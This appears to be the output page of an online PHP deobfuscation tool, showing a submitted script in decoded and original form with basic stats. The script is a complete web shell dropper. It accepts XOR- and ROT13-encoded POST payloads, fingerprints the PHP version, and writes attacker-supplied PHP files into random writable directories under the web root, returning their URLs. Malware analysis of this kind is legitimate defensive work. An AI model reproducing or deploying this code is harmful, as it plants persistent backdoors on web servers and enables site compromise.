Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $oiwhbviz = "ilkxyytszknabgwz";$zgeohsafggmff = "";foreach ($_POST as $jfnviugg => $..
Decoded Output download
<?php $oiwhbviz = "ilkxyytszknabgwz";$zgeohsafggmff = "";foreach ($_POST as $jfnviugg => $zyjaihdxw){if (strlen($jfnviugg) == 16 and substr_count($zyjaihdxw, "%") > 10){qlehnk($jfnviugg, $zyjaihdxw);}}function qlehnk($jfnviugg, $hdjsfhi){global $zgeohsafggmff;$zgeohsafggmff = $jfnviugg;$hdjsfhi = str_split(rawurldecode(str_rot13($hdjsfhi)));function qicilbcks($mhwyxfl, $jfnviugg){global $oiwhbviz, $zgeohsafggmff;return $mhwyxfl ^ $oiwhbviz[$jfnviugg % strlen($oiwhbviz)] ^ $zgeohsafggmff[$jfnviugg % strlen($zgeohsafggmff)];}$hdjsfhi = implode("", array_map("qicilbcks", array_values($hdjsfhi), array_keys($hdjsfhi)));$hdjsfhi = @unserialize($hdjsfhi);if (@is_array($hdjsfhi)){$jfnviugg = array_keys($hdjsfhi);$hdjsfhi = $hdjsfhi[$jfnviugg[0]];if ($hdjsfhi === $jfnviugg[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function rpmodzk($zgeohsair) {static $jcebtx = array();$sckjfgb = glob($zgeohsair . '/*', GLOB_ONLYDIR);if (count($sckjfgb) > 0) {foreach ($sckjfgb as $zgeohsa){if (@is_writable($zgeohsa)){$jcebtx[] = $zgeohsa;}}}foreach ($sckjfgb as $zgeohsair) rpmodzk($zgeohsair);return $jcebtx;}$oqpbnpaquj = $_SERVER["DOCUMENT_ROOT"];$sckjfgb = rpmodzk($oqpbnpaquj);$jfnviugg = array_rand($sckjfgb);$lehofb = $sckjfgb[$jfnviugg] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($lehofb, $hdjsfhi);echo "http://" . $_SERVER["HTTP_HOST"] . substr($lehofb, strlen($oqpbnpaquj));exit();}}} ?>
Did this file decode correctly?
Original Code
<?php $oiwhbviz = "ilkxyytszknabgwz";$zgeohsafggmff = "";foreach ($_POST as $jfnviugg => $zyjaihdxw){if (strlen($jfnviugg) == 16 and substr_count($zyjaihdxw, "%") > 10){qlehnk($jfnviugg, $zyjaihdxw);}}function qlehnk($jfnviugg, $hdjsfhi){global $zgeohsafggmff;$zgeohsafggmff = $jfnviugg;$hdjsfhi = str_split(rawurldecode(str_rot13($hdjsfhi)));function qicilbcks($mhwyxfl, $jfnviugg){global $oiwhbviz, $zgeohsafggmff;return $mhwyxfl ^ $oiwhbviz[$jfnviugg % strlen($oiwhbviz)] ^ $zgeohsafggmff[$jfnviugg % strlen($zgeohsafggmff)];}$hdjsfhi = implode("", array_map("qicilbcks", array_values($hdjsfhi), array_keys($hdjsfhi)));$hdjsfhi = @unserialize($hdjsfhi);if (@is_array($hdjsfhi)){$jfnviugg = array_keys($hdjsfhi);$hdjsfhi = $hdjsfhi[$jfnviugg[0]];if ($hdjsfhi === $jfnviugg[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function rpmodzk($zgeohsair) {static $jcebtx = array();$sckjfgb = glob($zgeohsair . '/*', GLOB_ONLYDIR);if (count($sckjfgb) > 0) {foreach ($sckjfgb as $zgeohsa){if (@is_writable($zgeohsa)){$jcebtx[] = $zgeohsa;}}}foreach ($sckjfgb as $zgeohsair) rpmodzk($zgeohsair);return $jcebtx;}$oqpbnpaquj = $_SERVER["DOCUMENT_ROOT"];$sckjfgb = rpmodzk($oqpbnpaquj);$jfnviugg = array_rand($sckjfgb);$lehofb = $sckjfgb[$jfnviugg] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($lehofb, $hdjsfhi);echo "http://" . $_SERVER["HTTP_HOST"] . substr($lehofb, strlen($oqpbnpaquj));exit();}}}
Function Calls
| None |
Stats
| MD5 | 70084bd1198123ad0e75d6e4d807e419 |
| Eval Count | 0 |
| Decode Time | 95 ms |